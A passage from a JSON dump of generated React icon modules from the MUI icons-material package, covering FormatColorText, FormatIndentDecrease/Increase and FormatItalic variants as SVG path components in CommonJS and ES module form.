'FormatColorResetTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatColorResetTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m10.93 7.83 4.77 4.77c-.62-1.81-2.17-4.24-3.71-6.24-.35.47-.71.96-1.06 1.47M12 18c.96 0 1.83-.36 2.53-.92l-5.72-5.72C8.32 12.38 8 13.31 8 14c0 2.21 1.79 4 4 4\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6.36c1.53 2 3.08 4.43 3.71 6.24l2.23 2.23c.03-.27.06-.55.06-.83 0-3.98-6-10.8-6-10.8s-1.18 1.35-2.5 3.19l1.44 1.44c.34-.51.7-1 1.06-1.47M5.41 5.14 4 6.55l3.32 3.32C6.55 11.33 6 12.79 6 14c0 3.31 2.69 6 6 6 1.52 0 2.9-.57 3.95-1.5l2.63 2.63L20 19.72zM12 18c-2.21 0-4-1.79-4-4 0-.69.32-1.62.81-2.64l5.72 5.72c-.7.56-1.57.92-2.53.92\"\n}, \"1\")], 'FormatColorResetTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatColorText.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 20h20v4H2zm3.49-3h2.42l1.27-3.58h5.65L16.09 17h2.42L13.25 3h-2.5zm4.42-5.61 2.03-5.79h.12l2.03 5.79z\"\n}), 'FormatColorText');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatColorText.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 20h20v4H2zm3.49-3h2.42l1.27-3.58h5.65L16.09 17h2.42L13.25 3h-2.5zm4.42-5.61 2.03-5.79h.12l2.03 5.79z\"\n}), 'FormatColorText');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatColorTextOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 20h20v4H2zm3.49-3h2.42l1.27-3.58h5.65L16.09 17h2.42L13.25 3h-2.5zm4.42-5.61 2.03-5.79h.12l2.03 5.79z\"\n}), 'FormatColorTextOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatColorTextOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 20h20v4H2zm3.49-3h2.42l1.27-3.58h5.65L16.09 17h2.42L13.25 3h-2.5zm4.42-5.61 2.03-5.79h.12l2.03 5.79z\"\n}), 'FormatColorTextOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatColorTextRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 20H4c-1.1 0-2 .9-2 2s.9 2 2 2h16c1.1 0 2-.9 2-2s-.9-2-2-2M7.11 17c.48 0 .91-.3 1.06-.75l1.01-2.83h5.65l.99 2.82c.16.46.59.76 1.07.76.79 0 1.33-.79 1.05-1.52L13.69 4.17C13.43 3.47 12.75 3 12 3s-1.43.47-1.69 1.17L6.06 15.48c-.28.73.27 1.52 1.05 1.52m4.83-11.4h.12l2.03 5.79H9.91z\"\n}), 'FormatColorTextRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatColorTextRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 20H4c-1.1 0-2 .9-2 2s.9 2 2 2h16c1.1 0 2-.9 2-2s-.9-2-2-2M7.11 17c.48 0 .91-.3 1.06-.75l1.01-2.83h5.65l.99 2.82c.16.46.59.76 1.07.76.79 0 1.33-.79 1.05-1.52L13.69 4.17C13.43 3.47 12.75 3 12 3s-1.43.47-1.69 1.17L6.06 15.48c-.28.73.27 1.52 1.05 1.52m4.83-11.4h.12l2.03 5.79H9.91z\"\n}), 'FormatColorTextRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatColorTextSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 20h20v4H2zm3.49-3h2.42l1.27-3.58h5.65L16.09 17h2.42L13.25 3h-2.5zm4.42-5.61 2.03-5.79h.12l2.03 5.79z\"\n}), 'FormatColorTextSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatColorTextSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 20h20v4H2zm3.49-3h2.42l1.27-3.58h5.65L16.09 17h2.42L13.25 3h-2.5zm4.42-5.61 2.03-5.79h.12l2.03 5.79z\"\n}), 'FormatColorTextSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatColorTextTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 20h20v4H2zm3.49-3h2.42l1.27-3.58h5.65L16.09 17h2.42L13.25 3h-2.5zm4.42-5.61 2.03-5.79h.12l2.03 5.79z\"\n}), 'FormatColorTextTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatColorTextTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 20h20v4H2zm3.49-3h2.42l1.27-3.58h5.65L16.09 17h2.42L13.25 3h-2.5zm4.42-5.61 2.03-5.79h.12l2.03 5.79z\"\n}), 'FormatColorTextTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatIndentDecrease.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 17h10v-2H11zm-8-5 4 4V8zm0 9h18v-2H3zM3 3v2h18V3zm8 6h10V7H11zm0 4h10v-2H11z\"\n}), 'FormatIndentDecrease');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatIndentDecrease.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 17h10v-2H11zm-8-5 4 4V8zm0 9h18v-2H3zM3 3v2h18V3zm8 6h10V7H11zm0 4h10v-2H11z\"\n}), 'FormatIndentDecrease');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatIndentDecreaseOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 17h10v-2H11zm-8-5 4 4V8zm0 9h18v-2H3zM3 3v2h18V3zm8 6h10V7H11zm0 4h10v-2H11z\"\n}), 'FormatIndentDecreaseOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatIndentDecreaseOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 17h10v-2H11zm-8-5 4 4V8zm0 9h18v-2H3zM3 3v2h18V3zm8 6h10V7H11zm0 4h10v-2H11z\"\n}), 'FormatIndentDecreaseOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatIndentDecreaseRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 17h8c.55 0 1-.45 1-1s-.45-1-1-1h-8c-.55 0-1 .45-1 1s.45 1 1 1m-8.65-4.65 2.79 2.79c.32.32.86.1.86-.35V9.21c0-.45-.54-.67-.85-.35l-2.79 2.79c-.2.19-.2.51-.01.7M4 21h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1M3 4c0 .55.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1m9 5h8c.55 0 1-.45 1-1s-.45-1-1-1h-8c-.55 0-1 .45-1 1s.45 1 1 1m0 4h8c.55 0 1-.45 1-1s-.45-1-1-1h-8c-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'FormatIndentDecreaseRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatIndentDecreaseRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 17h8c.55 0 1-.45 1-1s-.45-1-1-1h-8c-.55 0-1 .45-1 1s.45 1 1 1m-8.65-4.65 2.79 2.79c.32.32.86.1.86-.35V9.21c0-.45-.54-.67-.85-.35l-2.79 2.79c-.2.19-.2.51-.01.7M4 21h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1M3 4c0 .55.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1m9 5h8c.55 0 1-.45 1-1s-.45-1-1-1h-8c-.55 0-1 .45-1 1s.45 1 1 1m0 4h8c.55 0 1-.45 1-1s-.45-1-1-1h-8c-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'FormatIndentDecreaseRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatIndentDecreaseSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 17h10v-2H11zm-8-5 4 4V8zm0 9h18v-2H3zM3 3v2h18V3zm8 6h10V7H11zm0 4h10v-2H11z\"\n}), 'FormatIndentDecreaseSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatIndentDecreaseSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 17h10v-2H11zm-8-5 4 4V8zm0 9h18v-2H3zM3 3v2h18V3zm8 6h10V7H11zm0 4h10v-2H11z\"\n}), 'FormatIndentDecreaseSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatIndentDecreaseTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 16V8l-4 4zm4-9h10v2H11zm0 4h10v2H11zm0 4h10v2H11zm-8 4h18v2H3zM3 3h18v2H3z\"\n}), 'FormatIndentDecreaseTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatIndentDecreaseTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 16V8l-4 4zm4-9h10v2H11zm0 4h10v2H11zm0 4h10v2H11zm-8 4h18v2H3zM3 3h18v2H3z\"\n}), 'FormatIndentDecreaseTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatIndentIncrease.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 21h18v-2H3zM3 8v8l4-4zm8 9h10v-2H11zM3 3v2h18V3zm8 6h10V7H11zm0 4h10v-2H11z\"\n}), 'FormatIndentIncrease');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatIndentIncrease.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 21h18v-2H3zM3 8v8l4-4zm8 9h10v-2H11zM3 3v2h18V3zm8 6h10V7H11zm0 4h10v-2H11z\"\n}), 'FormatIndentIncrease');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatIndentIncreaseOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 21h18v-2H3zM3 8v8l4-4zm8 9h10v-2H11zM3 3v2h18V3zm8 6h10V7H11zm0 4h10v-2H11z\"\n}), 'FormatIndentIncreaseOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatIndentIncreaseOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 21h18v-2H3zM3 8v8l4-4zm8 9h10v-2H11zM3 3v2h18V3zm8 6h10V7H11zm0 4h10v-2H11z\"\n}), 'FormatIndentIncreaseOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatIndentIncreaseRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 21h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1M3 9.21v5.59c0 .45.54.67.85.35l2.79-2.79c.2-.2.2-.51 0-.71l-2.79-2.8c-.31-.31-.85-.09-.85.36M12 17h8c.55 0 1-.45 1-1s-.45-1-1-1h-8c-.55 0-1 .45-1 1s.45 1 1 1M3 4c0 .55.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1m9 5h8c.55 0 1-.45 1-1s-.45-1-1-1h-8c-.55 0-1 .45-1 1s.45 1 1 1m0 4h8c.55 0 1-.45 1-1s-.45-1-1-1h-8c-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'FormatIndentIncreaseRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatIndentIncreaseRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 21h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1M3 9.21v5.59c0 .45.54.67.85.35l2.79-2.79c.2-.2.2-.51 0-.71l-2.79-2.8c-.31-.31-.85-.09-.85.36M12 17h8c.55 0 1-.45 1-1s-.45-1-1-1h-8c-.55 0-1 .45-1 1s.45 1 1 1M3 4c0 .55.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1m9 5h8c.55 0 1-.45 1-1s-.45-1-1-1h-8c-.55 0-1 .45-1 1s.45 1 1 1m0 4h8c.55 0 1-.45 1-1s-.45-1-1-1h-8c-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'FormatIndentIncreaseRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatIndentIncreaseSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 21h18v-2H3zM3 8v8l4-4zm8 9h10v-2H11zM3 3v2h18V3zm8 6h10V7H11zm0 4h10v-2H11z\"\n}), 'FormatIndentIncreaseSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatIndentIncreaseSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 21h18v-2H3zM3 8v8l4-4zm8 9h10v-2H11zM3 3v2h18V3zm8 6h10V7H11zm0 4h10v-2H11z\"\n}), 'FormatIndentIncreaseSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatIndentIncreaseTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 19h18v2H3zM3 3h18v2H3zm8 4h10v2H11zM3 8v8l4-4zm8 3h10v2H11zm0 4h10v2H11z\"\n}), 'FormatIndentIncreaseTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatIndentIncreaseTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 19h18v2H3zM3 3h18v2H3zm8 4h10v2H11zM3 8v8l4-4zm8 3h10v2H11zm0 4h10v2H11z\"\n}), 'FormatIndentIncreaseTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatItalic.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 4v3h2.21l-3.42 8H6v3h8v-3h-2.21l3.42-8H18V4z\"\n}), 'FormatItalic');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatItalic.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 4v3h2.21l-3.42 8H6v3h8v-3h-2.21l3.42-8H18V4z\"\n}), 'FormatItalic');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatItalicOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 4v3h2.21l-3.42 8H6v3h8v-3h-2.21l3.42-8H18V4z\"\n}), 'FormatItalicOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatItalicOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 4v3h2.21l-3.42 8H6v3h8v-3h-2.21l3.42-8H18V4z\"\n}), 'FormatItalicOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatItalicRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 5.5c0 .83.67 1.5 1.5 1.5h.71l-3.42 8H7.5c-.83 0-1.5.67-1.5 1.5S6.67 18 7.5 18h5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5h-.71l3.42-8h1.29c.83 0 1.5-.67 1.5-1.5S17.33 4 16.5 4h-5c-.83 0-1.5.67-1.5 1.5\"\n}), 'FormatItalicRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatItalicRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 5.5c0 .83.67 1.5 1.5 1.5h.71l-3.42 8H7.5c-.83 0-1.5.67-1.5 1.5S6.67 18 7.5 18h5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5h-.71l3.42-8h1.29c.83 0 1.5-.67 1.5-1.5S17.33 4 16.5 4h-5c-.83 0-1.5.67-1.5 1.5\"\n}), 'FormatItalicRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatItalicSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 4v3h2.21l-3.42 8H6v3h8v-3h-2.21l3.42-8H18V4z\"\n}), 'FormatItalicSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatItalicSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 4v3h2.21l-3.42 8H6v3h8v-3h-2.21l3.42-8H18V4z\"\n}), 'FormatItalicSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatItalicTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 15v3h8v-3h-2.21l3.42-8H18V4h-8v3h2.21l-3.42 8z\"\n}), 'FormatItalicTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatItalicTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 15v3h8v-3h-2.21l3.42-8H18V4h-8v3h2.21l-3.42 8z\"\n}), 'FormatItalicTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatLineSpacing.js",
